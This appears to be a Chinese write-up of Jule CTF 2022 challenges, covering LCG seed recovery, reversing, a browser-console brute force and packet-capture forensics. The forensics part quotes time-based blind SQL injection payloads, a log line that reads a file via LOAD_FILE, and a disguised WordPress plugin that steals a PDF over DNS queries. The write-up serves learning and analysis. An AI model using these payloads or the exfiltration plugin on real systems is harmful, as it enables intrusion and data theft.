[Jule CTF 2022] 部分WP

news2024/11/25 3:04:52

这个比赛参加的人极少,比赛有一星期那么长,快结束的时候来了个大牛,一下上到12000+,我这6K只能排到第二了。不过题还是挺不错的。只是入口不是人链接,得自己输才能进,可能很多人因为这个没参加。

Crypto

Exclusively Secure String

第一个密码题是个LCG,参数全给了,密文也给了。密文是flag的位(不足的就不足不补0)用空格分隔,然后用LCG结果异或。

唯一没给的就是种子。

from lib.types import IStdin, IStdout
import os, random


class LinearCongruentialGenerator:
    def __init__(self, multiplier, increment, modulo, seed=random.randint(1,10000000000000000000000)):
        self.multiplier = multiplier
        self.increment = increment
        self.modulo = modulo
        self.seed = seed

    def next_number(self):
        self.seed = (self.multiplier * self.seed + self.increment) % self.modulo
        return self.seed


def main(stdin: IStdin, stdout: IStdout):

    with open("flag.txt","r") as f:
        flag = f.read()
    lcg = LinearCongruentialGenerator(1103515245,12345,2 ** 31)
    bin_flag = ' '.join(format(ord(x), 'b') for x in flag)
    encrypted = ""
    for i in range(len(bin_flag)):
        if bin_flag[i] == "1" or bin_flag[i] == "0":
            encrypted += str(int(bin_flag[i]) ^ (lcg.next_number() % 2))
        else:
            encrypted += bin_flag[i]
    stdout.write(encrypted)

所以第一步就是求种子。由于flag的头部已知:julectf2022{ 通过这个来得到LCG的输出。

cipher = '1000000 0100000 1000110 0110000 1001001 0100001 1001100 011000 011010 011000 011000 0101110 100101 1001000 011111 011011 011100 011111 011110 010011 010010 010011 011000 011001 010011 011011 011000 011101 0110111 1001011 011011 0110111 1001001 011010 010010 011110 0110001 100100 1001000 0110110 100011 100101 100111 1001000 0101000 1111'

tc = cipher.replace(' ','')
flag = 'julectf2022{'
bin_flag = ' '.join([bin(ord(x))[2:] for x in flag])
print(bin_flag)
bin_flag = bin_flag.replace(' ', '')
xstr = [int(tc[i])^int(bin_flag[i]) for i in range(len(bin_flag))]
print(xstr, len(xstr))
#xstr = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1]

LCG可以用矩阵快速幂处理,这样可以得到每次的结果

\begin{bmatrix} f_{n-1} & f_{n-2} & 1 \end{bmatrix} * \begin{bmatrix} a & 1 & 0\\ 0 & 0 & 0\\ b & 0 & 1 \end{bmatrix} = \begin{bmatrix} f_{n} & f_{n-1} & 1 \end{bmatrix}

先求出矩阵乘幂的结果

#sage
a,b,m = 1103515245,12345,2 ** 31
M = matrix(Zmod(2**31),3,3,[a,1,0,0,0,0,b,0,1])
for i in range(80):
    T = pow(M,i+1)
    print("[",T[0,0],',',T[2,0],"],")

#kk = [[ 1103515245 , 12345 ],[ 1117952617 , 1406932606 ],[ 8240309 , 654583775 ],[ 1845919505 , 1449466924 ],[ 1805731901 , 229283573 ],[ 1406949369 , 1109335178 ],[ 456479493 , 1051550459 ],[ 1339940641 , 1293799192 ],[ 268046093 , 794471793 ],[ 1864130185 , 551188310 ],[ 1524104789 , 803550167 ],[ 1211314225 , 1772930244 ],[ 224424669 , 370913197 ],[ 150879769 , 639546082 ],[ 729943717 , 1381971571 ],[ 1601471041 , 1695770928 ],[ 1670464429 , 2121308585 ],[ 1816561321 , 1719212846 ],[ 650433525 , 996984527 ],[ 518055249 , 1157490780 ],[ 424038781 , 1343235941 ],[ 1936902201 , 536853562 ],[ 1979096645 , 1511588075 ],[ 1285056865 , 1538207304 ],[ 788950093 , 2103497953 ],[ 1263112905 , 706568710 ],[ 159563157 , 956612807 ],[ 1487674993 , 1521280756 ],[ 1861575709 , 1588911645 ],[ 1315599961 , 371038354 ],[ 1966703077 , 33727075 ],[ 187569281 , 1680572000 ],[ 1772357869 , 88489753 ],[ 165544681 , 1282976734 ],[ 1101019957 , 527630783 ],[ 54614929 , 1194991756 ],[ 1876961981 , 1106424789 ],[ 2057685113 , 853518314 ],[ 37828997 , 392166107 ],[ 388629409 , 1387182456 ],[ 1501862285 , 1538766929 ],[ 340547337 , 654858422 ],[ 16501973 , 2086234551 ],[ 626859185 , 1792144676 ],[ 1766401373 , 837716109 ],[ 544554649 , 1513704002 ],[ 1314145573 , 269544019 ],[ 1720760001 , 1305165712 ],[ 496148013 , 1179132041 ],[ 124587817 , 1502988430 ],[ 113504885 , 1941297327 ],[ 1355538897 , 852280508 ],[ 1044567037 , 1787378757 ],[ 297359545 , 1328144282 ],[ 487138501 , 34689227 ],[ 460762593 , 805269672 ],[ 2005440205 , 235296705 ],[ 849914697 , 1203133286 ],[ 2037853205 , 794963623 ],[ 1953114865 , 321843028 ],[ 1370470045 , 1725935357 ],[ 1810011865 , 154978290 ],[ 1044797541 , 184094275 ],[ 1979738369 , 422948032 ],[ 1441858413 , 1929199097 ],[ 1509403497 , 1179349310 ],[ 14940597 , 1049906079 ],[ 1847883793 , 807982316 ],[ 809651517 , 214614197 ],[ 2045868281 , 973693770 ],[ 1212309509 , 662438587 ],[ 107112481 , 809784280 ],[ 505832461 , 263435057 ],[ 937594761 , 2030201366 ],[ 539548501 , 1700663191 ],[ 1559710001 , 932631940 ],[ 2055018461 , 1214206317 ],[ 1450606361 , 45289890 ],[ 293845925 , 2062159411 ],[ 518073153 , 342738416 ]]

根据这个结果和第一步的结果,用z3求出种子

from z3 import *

s = Solver()
x = Int('x')
s.add(x < 2**31)
for i in range(80):
    s.add((x*kk[i][0] + kk[i][1] )%2 == xstr[i])

s.check()
d = s.model()
print(d)
#2147483647

最后有了种子之后,现用原程序重现就得到flag了。

x = 2147483647

class LinearCongruentialGenerator:
    def __init__(self, multiplier, increment, modulo, seed=x):
        self.multiplier = multiplier
        self.increment = increment
        self.modulo = modulo
        self.seed = seed

    def next_number(self):
        self.seed = (self.multiplier * self.seed + self.increment) % self.modulo
        return self.seed

lcg = LinearCongruentialGenerator(1103515245,12345,2 ** 31,x)
encrypted = ""
for i in range(len(cipher)):
    if cipher[i] == "1" or cipher[i] == "0":
        encrypted += str(int(cipher[i]) ^ (lcg.next_number() % 2))
    else:
        encrypted += cipher[i]

flag = [int(i,2) for i in encrypted.split(' ')]
print(bytes(flag))
#julectf2022{0b51654989239127ba1bc084d1bc602b}

后边3个都不会,等WP,一般情况等不到是正常的,大姥都不写的。

Reverse

Entanglement

这个题跟热身里的题似乎一样,里边可以看到密码,输入密码就得到flag。为啥rev和crypto难度差别那么大呢。

┌──(kali㉿kali)-[~/ctf/jule]
└─$ ./legionnaire                                                                                  
=== Legionnaire OS v2.32 ===

PASSWORD PROTECTED
Enter password: C0rr3ctHors3B4tt3ryStapl3
Checking password...
julectf{cfa39db162df1e37787d6caa047305b4}

Gingerbread baking

flag先后进行反向-异或-减-shuffle 得到密文

import time
import random

FLAG = "julectf2022{redacted}"

def heat_ingredients(ingredients):  #反向
    print("Preparing the ingredients...")
    time.sleep(1)
    return "".join([ingredients[i] for i in range(len(ingredients)-1,-1,-1)])

def mix_into_dough(ingredients):  #xor 0x24
    print("Mixing the ingredients into dough...")
    time.sleep(1)
    return [ord(x) ^ 0x24 for x in ingredients]

def roll_dough(dough):  # -128 %256 hex
    print("Rolling the cookie dough...")
    time.sleep(1)
    return [hex((x - 128)%256)[2:] for x in dough]

def cut_into_shapes(dough):
    print("Shaping the cookie dough...")
    time.sleep(1)
    random.seed("".join(dough[-7:]))
    random.shuffle(dough)
    return dough

def bake(dough):
    print("Baking the cookie...")
    time.sleep(1)
    cookie = ""
    for d in dough:
        cookie += d
    return cookie

if __name__ == "__main__":
    cookie = bake(cut_into_shapes(roll_dough(mix_into_dough(heat_ingredients(FLAG)))))
    print()
    print("Here's your freshly baked gingebread cookie!")
    print(cookie)

#c6c2d99497c69696969c9692c7c2c7959193c0c2df92c6c1969cc6c792d190c7ce929dc195c296d09393c0c890

唯一的难点是最后一步shuffle

题目提示了flag的壳格式,所以可以得到足够的尾部,尾部已知,作种子可以复现最后一步shuffle

c = 'c6c2d99497c69696969c9692c7c2c7959193c0c2df92c6c1969cc6c792d190c7ce929dc195c296d09393c0c890'

b1 = b'julectf2022{'[::-1]
b2 = [i^0x24 for i in b1]
b3 = [hex((x - 128)%256)[2:] for x in b2]
b4 = ''.join(b3)

b4 = 'c2d0c7c1c8d1ce' #后7位(每位2字符)

import random 

random.seed(b4)
b5 = [i for i in range(len(c)//2)]
random.shuffle(b5)
print(b5)

b6 = [0]*(len(c)//2)
for i in range(len(c)//2):
    b6[b5[i]] = c[i*2: i*2+2]

b7 = ''.join(b6)
print(b7)

b8 = bytes.fromhex(b7)
b9 = [((i+128)%256) ^0x24 for i in b8]
print(bytes(b9[::-1]))
#julectf2022{7216fc46bdbb5b76cd693cf27f21e488}

Gifts

这个题少见,是下网页的推箱子游戏,进入下一关即可。

一个个打开网页,在game.js找到下一关的条件,需要按顺序把颜色连起来再hash与已知结果相同即可。

		// Check win condition
		if (
			gifts.length === this.locations.length &&
			this.locations.length > 0 &&
			!this.clear
		) {
			const stringGifts = gifts.join("");
			console.log(stringGifts)
			const hashedGift = christmasMagic(stringGifts, KEY);
			console.log(hashedGift)
			this.clear = true;
			if (hashedGift === HASH) {
				fetchAsync(`/flag`, "POST", {
					gifts: stringGifts,
				}).then((data) => {
					if (data.success) {
						this.correctAudio.load();
						this.correctAudio.play();
						setTimeout(() => {
							this.toggleTransition();
							this.loadLevel(data.level);
							this.clear = false;
						}, 500);
					} else {
						this.failAudio.load();
						this.failAudio.play();
						setTimeout(() => {
							this.toggleTransition();
							this.reset();
							this.clear = false;
						}, 500);
					}
				});
			} else {

这个由于js的hash与python不大相同,所以直接在浏览器里爆破。在开发都模式的console里写爆破脚本。

KEY = "53414e54415f434c4155535f57494c4c5f42455f564552595f48415050592121";
HASH = "bd2c76c87c2950605f31741000dfdc81";
COLORS = ["green", "red", "blue", "yellow", "purple"];
for(var i0=0;i0<5;i0++)for(var i1=0;i1<5;i1++)for(var i2=0;i2<5;i2++)
	for(var i3=0;i3<5;i3++)for(var i4=0;i4<5;i4++)for(var i5=0;i5<5;i5++)
		for(var i6=0;i6<5;i6++)for(var i7=0;i7<5;i7++)for(var i8=0;i8<5;i8++)
			for(var i9=0;i9<5;i9++){
				gifts = COLORS[i0]+COLORS[i1]+COLORS[i2]+COLORS[i3]+COLORS[i4]+COLORS[i5]+COLORS[i6]+COLORS[i7]+COLORS[i8]+COLORS[i9];
				encryptedGift = CryptoJS.AES.encrypt(gifts,CryptoJS.enc.Hex.parse(KEY),{mode: CryptoJS.mode.ECB,}).ciphertext.toString();
				hashedGift = CryptoJS.MD5(encryptedGift).toString();
				if(hashedGift == HASH)console.log(gifts)
			}

#purplegreenpurpleyellowpurpleredbluegreenyellowred

在控制台输入game.tiles在显示的块中,将对应box的箱子的位置和颜色改成指定值,进入第二关。然后跑着看flag

 

#julectf2022{c5254d088ac4e3f1efe12648c3b8b3b8}

Sidewinder

又是一个pyc的文件,手搓不是一回两回了,居然是唯一解出的。可能别人嫌麻烦吧。

这个是个python 3.11的版本编译的,一般的程序都不干逆。

选安个3.11然后转字节码

import marshal
import dis

def a1():
    code = open('chall.cpython-311.pyc', 'rb').read()[16:]

    code = marshal.loads(code)
    dis.dis(code)

a1()

发现都是些简单的运算,但是量很大

 23     >>  362 LOAD_FAST                1 (x)
            364 LOAD_CONST               6 (41)                 x[41] + x[36] - x[8] == 55
            366 BINARY_SUBSCR
            376 LOAD_FAST                1 (x)
            378 LOAD_CONST               7 (36)
            380 BINARY_SUBSCR
            390 BINARY_OP                0 (+)
            394 LOAD_FAST                1 (x)
            396 LOAD_CONST               8 (8)
            398 BINARY_SUBSCR
            408 BINARY_OP               10 (-)
            412 LOAD_CONST               9 (55)
            414 COMPARE_OP               3 (!=)

 22         420 EXTENDED_ARG            14
            422 POP_JUMP_FORWARD_IF_FALSE  3695 (to 7814)

 24         424 LOAD_FAST                1 (x)
            426 LOAD_CONST              10 (1)
            428 BINARY_SUBSCR
            438 LOAD_FAST                1 (x)
            440 LOAD_CONST               6 (41)
            442 BINARY_SUBSCR
            452 BINARY_OP                0 (+)
            456 LOAD_FAST                1 (x)
            458 LOAD_CONST              11 (27)
            460 BINARY_SUBSCR
            470 BINARY_OP                0 (+)
            474 LOAD_CONST              12 (219)
            476 COMPARE_OP               3 (!=)

写个脚本转成脚本

import re

data = open('aaa2.py').read().split('\n\n')

#print(data)
#['x', '41', 'x', '36', '+', 'x', '8', '-', '55', '!=']
for i in range(0,len(data),2):
    v = data[i]
    t = re.findall('\((.+)\)', v)
    if t[4] == 'x':
        q = f"s.add(x[{t[1]}] {t[7]} (x[{t[3]}] {t[6]} x[{t[5]}]) == {t[8]} )"
    else:
        q = f"s.add((x[{t[1]}] {t[4]} x[{t[3]}]) {t[7]} x[{t[6]}] == {t[8]} )"
    print(q)
    

给上一步生成的脚本加上头尾(z3求值),然后运行。虽然变量很多,但互相都不关联,运行起来很快。

from z3 import *

x = [BitVec(f'x{i}', 8) for i in range(45)]

s = Solver()

s.add((x[41] + x[36]) - x[8] == 55 )
s.add((x[1] + x[41]) + x[27] == 219 )
s.add((x[26] - x[2]) - x[9] == -103 )
s.add((x[10] * x[4]) * x[5] == 574200 )
s.add(x[8] - (x[10] * x[4]) == -4902 )
s.add((x[25] * x[35]) - x[34] == 2744 )
s.add(x[8] + (x[33] * x[31]) == 5748 )
s.add((x[31] - x[38]) + x[23] == 53 )
s.add((x[42] + x[6]) - x[28] == 97 )
s.add((x[3] + x[30]) + x[29] == 302 )
s.add((x[21] - x[13]) - x[10] == -91 )
s.add((x[35] * x[41]) + x[11] == 3147 )
s.add((x[26] - x[32]) + x[8] == 53 )
s.add((x[13] - x[42]) + x[22] == 149 )
s.add((x[17] - x[1]) + x[33] == 32 )
s.add((x[23] - x[41]) + x[43] == 99 )
s.add((x[43] * x[2]) + x[42] == 11064 )
s.add((x[24] - x[14]) - x[12] == -100 )
s.add((x[5] - x[41]) + x[1] == 179 )
s.add((x[44] + x[12]) - x[8] == 126 )
s.add((x[12] * x[14]) + x[37] == 4949 )
s.add((x[39] * x[1]) + x[32] == 5666 )
s.add((x[23] * x[27]) * x[15] == 132192 )
s.add((x[37] * x[2]) - x[32] == 5242 )
s.add(x[13] - (x[23] * x[43]) == -5104 )
s.add(x[26] - (x[7] * x[20]) == -2745 )
s.add(x[10] - (x[39] * x[19]) == -2686 )
s.add((x[37] - x[30]) - x[21] == -109 )
s.add((x[32] + x[2]) + x[4] == 257 )
s.add(x[15] - (x[17] * x[21]) == -2739 )
s.add((x[6] - x[39]) - x[4] == -45 )
s.add((x[6] - x[39]) - x[10] == 4 )
s.add((x[11] + x[3]) - x[6] == 122 )
s.add((x[12] + x[15]) + x[17] == 152 )
s.add((x[38] - x[21]) - x[16] == -102 )
s.add((x[36] * x[21]) + x[13] == 2891 )
s.add((x[0] - x[2]) + x[21] == 55 )
s.add((x[19] - x[18]) - x[14] == -142 )
s.add(x[21] + (x[9] * x[30]) == 5107 )
s.add((x[9] * x[31]) * x[3] == 287850 )
s.add((x[41] * x[19]) - x[3] == 2977 )
s.add((x[41] * x[36]) - x[30] == 2545 )
s.add((x[39] - x[5]) - x[30] == -169 )
s.add(x[37] - (x[15] * x[29]) == -5351 )
s.add(x[12] + (x[31] * x[26]) == 3184 )
s.add(x[12] - (x[2] * x[8]) == -5135 )
s.add((x[8] * x[17]) * x[13] == 230496 )
s.add(x[10] + (x[1] * x[35]) == 6602 )
s.add(x[11] + (x[43] * x[37]) == 5121 )
s.add((x[25] + x[1]) + x[43] == 269 )
s.add((x[44] * x[31]) + x[4] == 7224 )
s.add((x[1] - x[31]) - x[36] == 11 )
s.add(x[0] - (x[32] * x[23]) == -2444 )
s.add((x[9] + x[24]) - x[39] == 51 )
s.add(x[8] - (x[5] * x[13]) == -11320 )
s.add((x[2] * x[21]) + x[15] == 6210 )
s.add((x[24] * x[23]) - x[3] == 2398 )
s.add(x[32] - (x[2] * x[1]) == -12586 )
s.add((x[30] * x[41]) - x[18] == 5355 )
s.add(x[43] - (x[39] * x[32]) == -2298 )
s.add(x[19] + (x[30] * x[39]) == 4905 )
s.add((x[27] - x[8]) - x[20] == -56 )
s.add((x[11] * x[31]) * x[1] == 820287 )
s.add(x[21] - (x[12] * x[37]) == -2344 )
s.add((x[8] * x[44]) * x[40] == 294000 )
s.add((x[17] * x[28]) * x[16] == 259700 )
s.add((x[22] * x[11]) * x[40] == 596673 )
s.add((x[18] * x[5]) + x[22] == 11583 )
s.add(x[7] + (x[11] * x[38]) == 6815 )
s.add((x[37] * x[19]) - x[20] == 2737 )
s.add((x[26] - x[4]) + x[20] == 12 )
s.add(x[38] - (x[18] * x[13]) == -9647 )
s.add((x[9] - x[6]) - x[37] == -101 )
s.add(x[3] + (x[4] * x[17]) == 4952 )
s.add((x[31] - x[18]) + x[41] == 12 )
s.add((x[2] * x[37]) * x[3] == 534492 )
s.add((x[33] - x[11]) + x[30] == 78 )
s.add((x[17] * x[32]) * x[0] == 259700 )
s.add((x[12] - x[9]) + x[24] == 48 )
s.add((x[20] * x[10]) + x[2] == 2908 )
s.add((x[40] - x[7]) - x[32] == -51 )
s.add((x[35] - x[1]) + x[16] == 39 )
s.add((x[29] - x[1]) - x[17] == -66 )
s.add((x[13] * x[40]) * x[14] == 480200 )
s.add((x[39] + x[29]) - x[22] == 49 )
s.add(x[1] - (x[18] * x[25]) == -4833 )
s.add(x[34] + (x[18] * x[0]) == 10550 )
s.add((x[31] * x[43]) - x[42] == 5766 )
s.add((x[4] * x[11]) - x[20] == 12121 )
s.add((x[43] + x[24]) - x[18] == 52 )
s.add((x[12] - x[24]) - x[11] == -123 )
s.add((x[6] - x[29]) - x[40] == -47 )
s.add((x[35] * x[17]) - x[19] == 2687 )
s.add((x[1] * x[23]) * x[11] == 733941 )
s.add(x[39] - (x[34] * x[0]) == -5888 )
s.add((x[29] * x[15]) - x[7] == 5350 )
s.add(x[5] - (x[38] * x[34]) == -2964 )
s.add((x[37] - x[12]) - x[44] == -125 )
s.add((x[9] * x[23]) + x[34] == 2606 )
s.add((x[34] - x[32]) + x[8] == 54 )
s.add((x[36] - x[2]) - x[14] == -159 )
s.add((x[28] * x[3]) + x[14] == 5453 )
s.add((x[26] - x[16]) + x[39] == 3 )
s.add((x[20] * x[10]) + x[21] == 2857 )
s.add((x[20] * x[5]) - x[4] == 6397 )
s.add((x[38] * x[21]) + x[27] == 3183 )
s.add((x[31] * x[12]) + x[38] == 2848 )
s.add((x[19] * x[2]) + x[30] == 6257 )
s.add((x[29] * x[19]) + x[30] == 5801 )
s.add(x[37] - (x[12] * x[35]) == -2695 )
s.add((x[1] + x[28]) + x[11] == 293 )
s.add((x[44] * x[6]) - x[30] == 12649 )
s.add((x[29] * x[44]) * x[12] == 612500 )
s.add((x[11] - x[43]) + x[7] == 71 )
s.add(x[9] - (x[22] * x[34]) == -5494 )
s.add((x[8] * x[17]) + x[31] == 2409 )
s.add((x[15] * x[26]) * x[6] == 302940 )
s.add((x[17] * x[13]) * x[27] == 230496 )
s.add((x[42] * x[23]) + x[36] == 2497 )
s.add((x[19] + x[7]) + x[16] == 207 )

s.check()
d = s.model()
flag = ''
for i in range(45):
    flag += chr(d[x[i]].as_long())

print(flag)
#julectf2022{1bd6d1c989c312705de92d881170160f}

Forensics

Broken Card

附件是个data.png实际上是个xxd生成的16进制文件

00000000: 1f8b 0808 2082 8a63 0003 6461 7461 00ed  .... ..c..data..
00000010: ceaf 6a82 7114 c6f1 5334 6810 5130 c97e  ..j.q...S4h.Q0.~
00000020: 4910 cbef e84f 5f97 86c2 cc43 934b 7b41  I....O_....C.K{A
00000030: c462 f17d 6d03 074b 0b63 7a07 8a62 12a3  .b.}m..K.cz..b..
00000040: 77b2 6b30 b87b 98ff cad2 961c 08df 4f79  w.k0.{........Oy
00000050: c279 7838 1d3f f4e5 c2ec 41c5 b963 aa57  .yx8.?....A..c.W
00000060: b63f f344 8b56 d495 5cb1 6cad e7a9 58d5  .?.D.V..\.l...X.
00000070: 92ad 88b1 977e ec68 1884 fec0 1819 8681  .....~.h........
00000080: 1ff4 7ee9 fd71 bf52 f5c7 dead d6da b956  ..~..q.R.......V
00000090: 7b75 f3fd 2992 7a7f 193d dd49 3c1d 8d19  {u..).z..=.I<...
000000a0: d1da bcf1 6a5c 7eb6 fc68 76e7 d145 a49e  ....j\~..hv..E..
000000b0: 98e4 3498 e693 d9f5 57b3 6036 d9b7 ed73  ..4.....W.`6...s
000000c0: 77d7 1f65 06f7 d587 f179 0100 0000 0000  w..e.....y......
000000d0: 0000 0000 0000 0000 f01f f695 3008 a600  ............0...
000000e0: 2800 00                                  (..

还原后是个tgz的压缩包,解开后是个bz2的包,再解开就是flag

xxd -r data.png > a.png
mv a.png a.gz
gunzip a.gz
mv data data.tar
tar xvf data.tar
mv data data.bz2
bzip2 -d data.bz2
cat data

#julectf2022{E56B4E41A16FB0453E690D93C9C44681}

Tålmodig

流量题,用wireshark打开看到

POST /onske HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: onskeliste.ctf
Content-Length: 187
Content-Type: application/x-www-form-urlencoded

onske=02dAFf83EB6Bb025%27%29+UNION+SELECT+IIF%28SUBSTRING%28flag%2C+45%2C+1%29+%3D+CHAR%28125%29%2C+UPPER%28HEX%28RANDOMBLOB%2884719829%29%29%29%2C+%270b4B86A1A2DF3EB7%27%29+FROM+flag--+-HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 23 Nov 2022 12:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33

Ditt ..nske har blitt registrert!


POST /onske HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: onskeliste.ctf
Content-Length: 187
Content-Type: application/x-www-form-urlencoded

onske=eDa2DCC2ee5Ee0bB%27%29+UNION+SELECT+IIF%28SUBSTRING%28flag%2C+45%2C+1%29+%3D+CHAR%28126%29%2C+UPPER%28HEX%28RANDOMBLOB%2870501923%29%29%29%2C+%279AF150B5C8D0FdAE%27%29+FROM+flag--+-HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 23 Nov 2022 12:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33

Ditt ..nske har blitt registrert!


这像个教科书,告诉无回显情况下如果爆破。

SELECT IIF(LENGTH(flag) = 44, UPPER(HEX(RANDOMBLOB(97006908))), 'be9a6FC22ffe8F73') FROM flag

这名是当flag的某位为指定值时用randombolb生成一个巨大的串再hex,upper这样会用很长时间,通过这个时间来确定是否爆破成功。

先用tshark过滤出数据,再转一下码

#tshark.exe -r traffic.pcap -T fields -e ip.src -e tcp.time_relative -e http.file_data -E header=n -E separator=, -E quote=n -E occurrence=f > aaa.csv

from urllib.parse import unquote

data = open('aaa.csv').readlines()
fd = open('bbb.csv', 'w')
for v in data:
    if len(v)< 25:
        continue
    fd.write(unquote(v).replace('+', ' '))
    
fd.close()

最后根据用的时间确定是哪个字符

import re 

flag = ''
data = open('bbb.csv').readlines()
for i in range(500, len(data), 2):
    v = float(data[i+1].split(',')[1])
    if v>1.0:
        k = re.findall('CHAR\((\d+)\)', data[i])
        print(k,data[i])
        flag += chr(int(k[0]))

print(flag)

Infected Blog

也是流量题,里边有dns的流量,显然并不正确,从里边解出的文件可以知道加密方式

<?php
/**
 * Twitter Integration
 *
 * @package       TWIGR
 * @author        Elon Musk
 * @version       1.4.2
 *
 * @wordpress-plugin
 * Plugin Name:   Twitter Integration
 * Plugin URI:    https://twitter.com
 * Description:   Will automatically share new posts to a Twitter account.
 * Version:       1.4.2
 * Author:        Elon Musk
 * Author URI:    https://twitter.com
 * Text Domain:   twitter-integration
 * Domain Path:   /languages
 */

if (!defined('ABSPATH')) exit;
if (!file_exists('/tmp/c0007cdd~')) {

file_put_contents('/tmp/c0007cdd~', '');
mt_srand(0x35f770b9);
$job = 4281;
$str = file_get_contents('/srv/smb/private/deal_01.pdf');
$res = '';
for ($i = 0; $i < strlen($str); $i++) $res .= chr(ord($str[$i]) ^ mt_rand(0, 255));
$out = bin2hex($res);
for ($i = 0; $i < strlen($out); $i+=192) {
	$part = substr($out, $i, 48).'.'.substr($out, $i+48, 48)
	.'.'.substr($out, $i+96, 48).'.'.substr($out, $i+144, 48);
	$part .= '.n'.($i/192).'.j'.$job.'.h4x.dns';
	while (strpos($part, '..') !== FALSE) $part = str_replace('..', '.', $part);
	dns_get_record($part, DNS_TXT);
}

}

先把流量解出加密的pdf文件

#1382	37.579200	10.1.15.183	10.1.15.119	HTTP	2906	POST /wp-admin/update.php?action=upload-plugin HTTP/1.1  (application/zip)
#上传处理程序,导出得到twitter-integration.php 
#程序将deal_01.pdf加密后通过dns query的形式从server 10.1.15.119 发送到10.2.10.2

#tshark.exe -r blog.pcap -T fields -e ip.src -e ip.proto -e dns.qry.name -E header=n -E separator=, -E quote=n -E occurrence=f > aaa.csv
#取出数据并过滤无用数据得到aaa.csv 
#从aaa.csv取数据组成deal_01_enc.pdf
#用b.php 对deal_01_enc.pdf 解密

data = [0]*499

msg = open('aaa.csv').readlines()
#10.1.15.119,17,a0b377669b5fa71e9fc036142349fbdea5ed2ba1b990d282.5807f1aece085a30777c53cb6760ff8434160c8be80ded09.422095ed5f44c12634ad63fd9bdb58c5e2b675dc0416eec2.c0d02e3125bea9d7c4194964997aaefcdbf6da0b37819b2c.n0.j4281.h4x.dns
#10.2.10.2,17,a0b377669b5fa71e9fc036142349fbdea5ed2ba1b990d282.5807f1aece085a30777c53cb6760ff8434160c8be80ded09.422095ed5f44c12634ad63fd9bdb58c5e2b675dc0416eec2.c0d02e3125bea9d7c4194964997aaefcdbf6da0b37819b2c.n0.j4281.h4x.dns

for v in msg:
    if not '10.2.10.2' in v:
        continue 
    aa = v.split(',')[2].split('.')
    idx = int(aa[-4][1:])
    data[idx] = ''.join(aa[:-4])

v = bytes.fromhex(''.join(data))
open('deal_01_enc.pdf', 'wb').write(v)

最后根据种子生成异或流恢复pdf文件(php的rand和python不同,所以恢复还得用php写),flag就在文件里

<?

mt_srand(0x35f770b9);
$str = file_get_contents('deal_01_enc.pdf');
$res = '';
for ($i = 0; $i < strlen($str); $i++) $res .= chr(ord($str[$i]) ^ mt_rand(0, 255));
file_put_contents('deal_01.pdf', $res);
// julectf{7d17f1abb1e8a701454fc1a3c6875724}
?>

Lekkasje

附件是个lrz的文件,是一种特殊的压缩包,在linux有解压程序lrzip。

解开后是个web服务的后台日志

172.22.0.4 - - [28/Nov/2022:16:49:37 +0000] "GET /users/1%20And%20OrD%28mId%28%28IfNuLL%28Cast%28Hex%28LoAD_file%280x2f646174612f70726f66696c6570696374757265732f30613237623136623339663062383832303232323337373338396462316433342e6a7067%29%29%20As%20NchaR%29%2C0x20%29%29%2C163%2C1%29%29%3E52/settings HTTP/1.1" 404 9 "-" "Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54"

量还挺大,每行都是对文件hex后的一个字节的大小判断>65,>50这样,然后是返回值404或403来判断是否正确。把这些取出来,然后用z3计算,多的有5000+变量,第3张图上是flag

Miscellaneous

God Jul 

这个是英文吗?不大懂,进去以后发现是调查问卷

Catch Me

一大堆base64先base64再hex解,flag就在里头。

原来外国的base64解算是杂项

Wishlist

附件里有好多文件,在mysql下的wishlist.sql文件里有flag

Coal as presents

唯一有像杂项的题,附件是个尺寸很大的小图版。用010打开里边有好多图,把字们都取出来,是一椎数字或字符括号。

data = open('pic.png', 'rb').read()

a = data.split(b'\x89PNG')
for i,v in enumerate(a):
    open(f'pic_{i:02d}.png', 'wb').write(b'\x89PNG'+v)

第1张上有点小点

根据大小判断,这些小点是表示图片的使用顺序,列表示flag第几个字符,行有点表示用第几个图。用程序解出

from PIL import Image 

img = Image.open('pic_01.png')

n = '0124568ab}cdefjl{tu'
flag = ''
v = [0]*28
for i in range(28):
    for j in range(19):
        p = img.getpixel((j,i))
        if p[3] != 0:
            flag += n[j]
            v[i]=j

print(flag)
#julectf2022{ad1588e2bf1684d}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/114586.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【工作流Activiti7】5、Activiti7 多实例子流程

顾名思义&#xff0c;子流程是一个包含其他活动、网关、事件等的活动&#xff0c;这些活动本身形成了一个流程&#xff0c;该流程是更大流程的一部分。 使用子流程确实有一些限制&#xff1a; 一个子流程只能有一个none类型的启动事件&#xff0c;不允许有其他类型的启动事件…

C语言—结构体

结构体&#xff1a;将不同数据类型组合成一个新的数据类型&#xff1b; #include <stdio.h> struct Person {char name[50];int age;bool gender; }; int main() {} 定义了一个结构体Person&#xff0c;它包含一个字符数组成员name&#xff0c;int类型的age和bool类型的…

【生信原理】初探芯片表达谱分析

初探芯片表达谱分析 文章目录初探芯片表达谱分析实验目的实验内容实验题目实验过程数据的获取、解压与读取数据预处理&#xff08;背景纠正、标准化和探针信号汇总等&#xff09;数据过滤&#xff08;探针过滤&#xff09;探针注释&#xff08;添加基因注释信息&#xff09;lim…
